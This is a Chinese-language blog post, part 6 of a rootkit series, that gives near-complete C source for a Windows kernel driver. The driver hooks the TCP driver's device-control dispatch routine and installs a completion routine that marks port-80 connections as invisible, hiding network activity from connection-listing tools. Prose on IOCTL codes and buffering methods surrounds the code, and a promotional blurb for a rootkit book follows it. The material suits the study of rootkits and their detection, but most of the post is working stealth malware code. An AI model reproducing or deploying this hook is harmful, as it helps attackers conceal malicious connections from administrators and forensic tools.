RootKits——windows内核的安全防护(6)

 驱动程序的入口很简单,仅仅设置好相应的Unload函数,并调用Hook函数。 

PFILE_OBJECT pFile_tcp;

PDEVICE_OBJECT pDev_tcp;

PDRIVER_OBJECT pDrv_tcpip;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS ntStatus; OldIrpMjDeviceControl = NULL; DriverObject->DriverUnload = RootkitUnload; ntStatus = InstallTCPDriverHook(); if(!NT_SUCCESS(ntStatus)) return ntStatus; return STATUS_SUCCESS; }

在Hook函数当中,首先利用系统的IoGetDeviceObjectPointer得到设备堆栈的顶层对象,这里传入的对象名称是"\\Device\\Tcp",也就是得到TCP的顶层对象。然后,利用设备对象获得相应的驱动的对象。并通过驱动对象得到相应的驱动调用函数,保存好DEVICE_CONTROL函数,并将我们的处理函数赋值给驱动对象中相应的处理函数。

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;      
	UNICODE_STRING deviceTCPUnicodeString;
	WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
    pFile_tcp  = NULL;
	pDev_tcp   = NULL;
	pDrv_tcpip = NULL;

	RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
	ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
	if(!NT_SUCCESS(ntStatus)) 
		return ntStatus;
	pDrv_tcpip = pDev_tcp->DriverObject;

	OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 
	if (OldIrpMjDeviceControl)
		InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);
	
	return STATUS_SUCCESS;
}

在Hook函数当中,首先利用IoGetCurrentIrpStackLocation得到相应的IO_STACK_LOCATION,这里的irp实际上是通过以系列的系统调用传递下来的。其中IO_STACK_LOCATION在wmd.h当中定义,IO_STACK_LOCATION结构体当中包含一个联合体Parameters,这个联合体的解释是由IO_STACK_LOCATION当中的MajorFunction决定的。当MajorFunction的值是IRP_MJ_DEVICE_CONTROL的时候,parameters被解释为struct DeviceIoControl。这个结构体通过IoControlCode表明想要进行的操作,而可能通过Type3InputBuffer传递输入缓存,最开始两个数据则表明输入和输出的长度。在看函数之前,我们需要解释一下操作码IoControlCode的组成,以及内核空间和用户空间交换内存的三种方式。

整个IoControlCode有四个部分组成。最开始的16个位是设备的类型,接下来的两个位则是表示设备的访问权限而接下来的12个位则表明IoControl的功能号,最后面的两个位则是缓冲方式。

缓冲方式总共有三种:

第一种是Buffered方式,这种方式有一个复制过程,输入输出都经过相应的IRP当中的地址pIrp->AssociatedIrp.SystemBuffer缓存,由于分配的内存是费换页内存,所以不存在缺页中断的现象。

第二种方式是Direct方式,I/O管理器将创建一个MDL用于描述包含该用户模式数据缓存区的锁定内存页,这样也就不会有缺页中断。

第三种是Neither方式,这种情况下,I/O管理器简单地将虚拟地址嗯哼字节技术交给我们,其余的由我们自己决定,这种方式最高效但是安全性需要程序员自己处理。

到这里,整个函数的流程基本清晰了。首先得到输入缓存指针,并将这个指针转换为我们所需要的结构体,验证查询的方式,利用IO_STACK_LOCATION中的相应成员变量context将相应的参数传递给我们的函数处理,不过在传递之前需要设置相应的属性。同时在最后调用系统本身的的DeviceControl函数,由这个函数将控制权转入到我们的IoCompletionRoutine函数。

#define CO_TL_ENTITY                    0x400
#define CL_TL_ENTITY                    0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID.
typedef struct TDIEntityID {
     ulong        tei_entity;
     ulong        tei_instance;
} TDIEntityID;
//* Structure of an object ID.
typedef struct TDIObjectID {
     TDIEntityID     toi_entity;
     ulong        toi_class;
     ulong        toi_type;
     ulong        toi_id;
} TDIObjectID;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);
struct {
            ULONG OutputBufferLength;
            ULONG POINTER_ALIGNMENT InputBufferLength;
            ULONG POINTER_ALIGNMENT IoControlCode;
            PVOID Type3InputBuffer;
        } DeviceIoControl;
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION      irpStack;
    ULONG                   ioTransferType;
	TDIObjectID             *inputBuffer;
	DWORD					context;
    irpStack = IoGetCurrentIrpStackLocation (Irp);
    switch (irpStack->MajorFunction) 
	{
	    case IRP_MJ_DEVICE_CONTROL:
			if ((irpStack->MinorFunction == 0) && \
				(irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
			{
				ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
				ioTransferType &= 3;
				if (ioTransferType == METHOD_NEITHER) 
				{
					inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
					
					if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
					{ 
						if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
						{
							irpStack->Control = 0;
							irpStack->Control |= SL_INVOKE_ON_SUCCESS; 

							irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO));

							((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 
							((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;

							irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
						}
					}
				}
			}
		break;
		
		default:
		break;
    }

    return OldIrpMjDeviceControl(DeviceObject, Irp);
}

完成函数的实现比较简单,根据IRP当中的IO_STATUS_BLOCK成员变量的相应信息,将得到的数据全部改变为不可见,这样就隐藏了我们的联网进程。由于在上面设置了IO_STACK_LOCATION的Control成员变量,这里的stackcount不会归0,所以会调用默认的的完成调用函数,从而达到过滤的效果。

typedef struct _CONNINFO101 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 
							 IN PIRP Irp, 
							 IN PVOID Context)
{
	PVOID OutputBuffer;
    DWORD NumOutputBuffers;
	PIO_COMPLETION_ROUTINE p_compRoutine;
	DWORD i;

	// Connection status values:
	// 0 = Invisible
	// 1 = CLOSED
	// 2 = LISTENING
	// 3 = SYN_SENT
	// 4 = SYN_RECEIVED
	// 5 = ESTABLISHED
	// 6 = FIN_WAIT_1
	// 7 = FIN_WAIT_2
	// 8 = CLOSE_WAIT
	// 9 = CLOSING
	// ...

	OutputBuffer = Irp->UserBuffer;
	p_compRoutine = ((PREQINFO)Context)->OldCompletion;

	if (((PREQINFO)Context)->ReqType == 0x101)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
				((PCONNINFO101)OutputBuffer)[i].status = 0;
		}
	}
	else if (((PREQINFO)Context)->ReqType == 0x102)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
				((PCONNINFO102)OutputBuffer)[i].status = 0;
		}
	}
	else if (((PREQINFO)Context)->ReqType == 0x110)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
				((PCONNINFO110)OutputBuffer)[i].status = 0;
		}
	}

	ExFreePool(Context);

	/*
	for(i = 0; i < NumOutputBuffers; i++)
	{
		DbgPrint("Status: %d",OutputBuffer[i].status);
		DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
		DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
	}*/

	if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
	{
		return (p_compRoutine)(DeviceObject, Irp, NULL);
	}
	else
	{
		return Irp->IoStatus.Status;
	}
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
本书是目前第一本关于rootkit的详尽指南,包括rootkit的概念、它们是怎样工作的、如何构建和检测它们。世界顶级软件安全专家、rootkit.com创始人Greg Hoglund和James Butler向大家详细介绍攻击者是如何进入系统并长期驻留而不会被检测到的,以及黑客是如何摧毁Windows XP和Windows 2000内核系统的,其概念可以应用于现代任何主流操作系统。通过本书,读者可以全面掌握rootkit,提升自己的计算机安全防范能力。 [图书目录]第1章 销声匿迹  1.1 攻击者的动机   1.1.1 潜行的角色   1.1.2 不需潜行的情况  1.2 rootkit的定义  1.3 rootkit存在的原因   1.3.1 远程命令和控制   1.3.2 软件窃听   1.3.3 rootkit的合法使用  1.4 rootkit的存在历史  1.5 rootkit的工作方式   1.5.1 打补丁   1.5.2 复活节彩蛋   1.5.3 间谍件修改   1.5.4 源代码修改   1.5.5 软件修改的合法性  1.6 rootkit与其他技术的区别   1.6.1 rootkit不是软件利用工具   1.6.2 rootkit不是病毒  1.7 rootkit与软件利用工具 . 1.8 攻击型rootkit技术   1.8.1 hips   1.8.2 nids   1.8.3 绕过ids/ips   1.8.4 绕过取证分析工具  1.9 小结 第2章 破坏内核  2.1 重要的内核组件  2.2 rootkit的结构设计  2.3 在内核中引入代码  2.4 构建windows设备驱动程序   2.4.1 设备驱动程序开发工具包   2.4.2 构建环境   2.4.3 文件  2.5 加载和卸载驱动程序  2.6 对调试语句进行日志记录  2.7 融合rootkit:用户和内核模式的融合   2.7.1 i/o请求报文   2.7.2 创建文件句柄   2.7.3 添加符号链接  2.8 加载rootkit   2.8.1 草率方式   2.8.2 正确方式  2.9 从资源中解压缩.sys文件  2.10 系统重启后的考验  2.11 小结 第3章 硬件相关问题  3.1 环0级  3.2 cpu表和系统表  3.3 内存页   3.3.1 内存访问检查   3.3.2 分页和地址转换   3.3.3 页表杏询   3.3.4 页目录项   3.3.5 页表项   3.3.6 重要表的只读访问   3.3.7 多个进程使用多个页目录   3.3.8 进程和线程  3.4 内存描述符表   3.4.1 令局描述符表   3.4.2 本地描述符表   3.4.3 代码段   3.4.4 调用门  3.5 中断描述符表  3.6 系统服务调度表  3.7 控制寄存器   3.7.1 控制寄存器   3.7.2 其他控制寄存器   3.7.3 eflags寄存器  3.8 多处理器系统  3.9 小结 第4章 古老的钩子艺术 第5章 运行时补丁 第6章 分层驱动程序 第7章 直接内核对象操作 第8章 操纵硬件 第9章 隐秘通道 第10章 rootkit检测 本站提供的Rootkits--Windows内核安全防护 中文 PDF版 [21M] 资源来源互联网,版权归该下载资源的合法拥有者所有。 收起信息返回顶部
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值